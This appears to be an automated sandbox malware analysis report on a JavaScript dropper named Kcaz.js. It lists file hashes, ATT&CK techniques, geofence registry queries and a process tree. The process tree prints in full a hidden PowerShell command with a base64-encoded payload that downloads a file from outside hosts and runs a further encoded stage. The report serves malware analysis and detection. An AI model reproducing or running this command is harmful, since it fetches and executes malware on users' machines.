5eb36cb1c324d9c946028b47b0aee05da0bda5fa0c14f2fe55bd97e96a1a0504

General

Target

Kcaz.js
Size

126KB
MD5

5cc705f5c8c97370df533c2863618b22
SHA1

7a15b8e885b13e775a4cecab27d582bae6f4e1f4
SHA256

5eb36cb1c324d9c946028b47b0aee05da0bda5fa0c14f2fe55bd97e96a1a0504
SHA512

9898a34b5ec1b3b752aa162d693d64a5df9156f3f3dc6152e2167f45f75ae4a3fb8e921c8e2a2d99991f559ef6428149a1d8574514614d2f7746e9e517757082
SSDEEP

1536:H+FaOxc8uJaB9MOdUxN8RtstWwuv/Vae8z5CWgytsy:H+kOxc8uJahdUn87+ZuFa1tbt1

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
13	2708	powershell.exe
14	2708	powershell.exe
16	2708	powershell.exe
21	2708	powershell.exe
25	2708	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2708	powershell.exe
2708	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2708	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4052 wrote to memory of 1928	4052	wscript.exe	84
PID 4052 wrote to memory of 1928	4052	wscript.exe	84
PID 1928 wrote to memory of 2708	1928	wscript.exe	85
PID 1928 wrote to memory of 2708	1928	wscript.exe	85

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Kcaz.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4052
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Kcaz.js" Neanic NucicultureDronishness
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1928
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand "JABDAGEAZQBzAGkAdQBtAHMAIAA9ACAAIgBDAGEAbABjAGEAbgBlAG8AcABsAGEAbgB0AGEAcgAiADsAJABtAGEAaQBsAGkAZQAgAD0AIAAiAEsAdQBrAG8AbABpAG4AZQAiADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAOAA7ACQAbgBvAG4AYwBvAGwAbABlAGMAdABpAHYAZQBsAHkAIAA9ACAANAA1ADYAOwAkAEUAeQBlAHMAaABvAHQAUwBwAG8AbwByAG4AIAA9ACAAOQA4ADgAOwAkAGMAcgB1AHoAYQBkAG8AcwBJAG4AYwBpAGQAZQBuAHQAYQBsAGkAcwB0ACAAPQAgACIATwB4AGEAbgBpAGwAYQB0AGUATQBlAHQAYQBuAHQAaQBtAG8AbgBpAG8AdQBzACIAOwAkAEMAYQBzAGEAYgBhAHMARwBvAG4AbwBiAGwAYQBzAHQAaQBkAGkAYQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAzAEEARABrAEEATABnAEEAeABBAEQATQBBAE4AdwBBAHUAQQBEAEkAQQBOAEEAQQA0AEEAQwA0AEEATQBRAEEAMgBBAEQATQBBAEwAdwBCAFkAQQBHADQAQQBVAFEAQgBrAEEARABJAEEAWQBnAEIATQBBAEMAOABBAFMAZwBBADEAQQBIAEUAQQBVAEEAQgBWAEEARwA0AEEAUwBRAEEAegBBAEcAMABBAFQAZwB4AEMAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAzAEEARABjAEEATABnAEEANQBBAEQARQBBAEwAZwBBADQAQQBEAGMAQQBMAGcAQQB4AEEARABrAEEATwBBAEEAdgBBAEgARQBBAFoAZwBCAGkAQQBHAFkAQQBkAFEAQQB2AEEARgBNAEEAYwBRAEIAUABBAEgAZwBBAE8AQQBCAG8AQQBIAEkAQQBTAFEAQQB6AEEAQQA9AD0AVABnAHgAQwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADUAQQBEAEUAQQBMAGcAQQB4AEEARABrAEEATQB3AEEAdQBBAEQAUQBBAE0AdwBBAHUAQQBEAEUAQQBNAEEAQQB4AEEAQwA4AEEAYQBBAEEAMwBBAEQARQBBAEwAdwBCAFcAQQBGAFkAQQBXAEEAQgBaAEEARQBvAEEAUwBBAEEAMwBBAEgASQBBAE8AQQBCAHUAQQBBAD0APQBUAGcAeABDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANQBBAEQARQBBAEwAZwBBAHgAQQBEAGsAQQBNAHcAQQB1AEEARABRAEEATQB3AEEAdQBBAEQAawBBAE8AQQBBAHYAQQBFAEUAQQBSAHcAQgAyAEEARgBvAEEAYQBBAEEANABBAEUATQBBAEwAdwBCAEkAQQBEAFkAQQBVAFEAQgB5AEEARABJAEEAUwBnAEIANQBBAEUAVQBBAFQAZwB4AEMAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAzAEEARABjAEEATABnAEEANQBBAEQARQBBAEwAZwBBADQAQQBEAGMAQQBMAGcAQQB4AEEARABVAEEATwBBAEEAdgBBAEgAVQBBAFYAZwBCADMAQQBHADAAQQBNAEEAQgBCAEEAQwA4AEEAYgBnAEIANgBBAEQAWQBBAFUAQQBBAHcAQQBIAGMAQQBRAHcAQgBXAEEARwBjAEEATwBBAEIAawBBAEEAPQA9ACIAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEkAbgBuAGUAcgBsAHkAQwBhAG0AcABpAHQAIABpAG4AIAAkAEMAYQBzAGEAYgBhAHMARwBvAG4AbwBiAGwAYQBzAHQAaQBkAGkAYQBsACAALQBzAHAAbABpAHQAIAAiAFQAZwB4AEMAIgApACAAewAkAGQAZQB2AGkAcwBvAHIAcwAgAD0AIAA0ADMAMwA7ACQAQQBpAGwAdQByAGkAZABhAGUAIAA9ACAAIgBCAHIAYQB6AGkAbABpAHQAZQBVAHMAdQBhAGwAbgBlAHMAcwAiADsAdAByAHkAIAB7ACQAaABlAG0AbwBzAHAAbwByAGkAZABpAGEAbgAgAD0AIAAiAFMAYQB3AGYAbABpAGUAcwBMAG8AZwBhAG4AaQBuACIAOwAkAEEAbABpAGUAbgBpAG4AZwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABJAG4AbgBlAHIAbAB5AEMAYQBtAHAAaQB0ACkAKQA7AHcAZwBlAHQAIAAkAEEAbABpAGUAbgBpAG4AZwAgAC0ATwAgAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAEgAeQBwAG8AcABvAGQAaQB1AG0ALgBlAG4AdQByAGUAZABFAG4AdABlAHIAbwB0AG8AeABpAG4AOwAkAGYAdQByAG0AZQB0AHkAVgBhAHAAbwByAGkAZgBvAHIAbQAgAD0AIAAiAEQAaQBzAGMAdQBzAHMAaQBiAGwAZQBTAGUAeABpAGwAeQAiADsAJABMAGkAbgBhAGwAeQBsAEIAYQBjAHUAbABlACAAPQAgADcAMAA2ADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAEgAeQBwAG8AcABvAGQAaQB1AG0ALgBlAG4AdQByAGUAZABFAG4AdABlAHIAbwB0AG8AeABpAG4AKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAxADAANAAxADkAOQApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAUwBBAEIANQBBAEgAQQBBAGIAdwBCAHcAQQBHADgAQQBaAEEAQgBwAEEASABVAEEAYgBRAEEAdQBBAEcAVQBBAGIAZwBCADEAQQBIAEkAQQBaAFEAQgBrAEEARQBVAEEAYgBnAEIAMABBAEcAVQBBAGMAZwBCAHYAQQBIAFEAQQBiAHcAQgA0AEEARwBrAEEAYgBnAEEAcwBBAEgAQQBBAGMAZwBCAHAAQQBHADQAQQBkAEEAQQA3AEEAQQA9AD0AIgA7ACQAYgBlAGMAbwBzAHQAVQBuAGYAYQBpAHIAbQBpAG4AZABlAGQAIAA9ACAAMQA2ADQAOwAkAEgAZQByAGUAdAByAGkAeABlAHMAIAA9ACAAMQA5ADMAOwAkAGMAZQByAGkAcABoACAAPQAgADkANwA7AGIAcgBlAGEAawA7AH0AUgBlAGEAYwB0AEQATwBNADsAfQAgAGMAYQB0AGMAaAAgAHsAJABkAGkAcwBjAG8AbQBiAG8AYgB1AGwAYQB0AGUAIAA9ACAAIgBTAGEAcgBkAGkAdQBzAGUAcwBBAGMAYQBkAGUAbQBpAGUAcwAiADsAJABoAHUAcgByAGEAaABTAGEAdABpAHMAZgBpAGUAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQgBBAEgATQBBAFkAdwBCAGgAQQBIAEkAQQBhAFEAQgBrAEEARwBFAEEAWgBRAEEAdQBBAEgAYwBBAFoAUQBCAGsAQQBHAFEAQQBhAFEAQgB1AEEARwBjAEEAcwBVAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AUQBBADAAQQBDADQAQQBNAFEAQQAxAEEARABBAEEATABnAEEAeABBAEQAawBBAE4AQQBBAHUAQQBEAGcAQQBOAHcAQQA9AHMAVQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBNAEEAQQB1AEEARABJAEEATQBRAEEAeQBBAEMANABBAE4AQQBBAHkAQQBDADQAQQBNAFEAQQB6AEEARABjAEEAIgA7ACQAUwB0AHkAcgBvAGcAYQBsAGwAbwBsAFYAZQBuAGQAaQBiAGkAbABpAHQAaQBlAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAFEAQQAzAEEAQwA0AEEATQBRAEEAeQBBAEQAQQBBAEwAZwBBAHgAQQBEAE0AQQBOAEEAQQB1AEEARABFAEEATQB3AEEANQBBAEEAPQA9ACIAOwB9AH0AJABzAHQAcgBhAHYAYQBnAGUARQBwAGkAZwBhAGUAYQAgAD0AIAAiAGYAdQBsAGwAZgBpAGwATQBpAHMAYwBlAGcAZQBuAGEAdABpAG8AbgAiADsA"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2708

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pqpx0dow.ljr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2708-133-0x000001F726510000-0x000001F726520000-memory.dmp

Filesize
64KB

Download
memory/2708-140-0x000001F7264E0000-0x000001F726502000-memory.dmp

Filesize
136KB

Download
memory/2708-144-0x000001F726510000-0x000001F726520000-memory.dmp

Filesize
64KB

Download
memory/2708-145-0x000001F726510000-0x000001F726520000-memory.dmp

Filesize
64KB

Download
memory/2708-146-0x000001F726510000-0x000001F726520000-memory.dmp

Filesize
64KB

Download
memory/2708-147-0x000001F726510000-0x000001F726520000-memory.dmp

Filesize
64KB

Download
memory/2708-148-0x000001F726510000-0x000001F726520000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing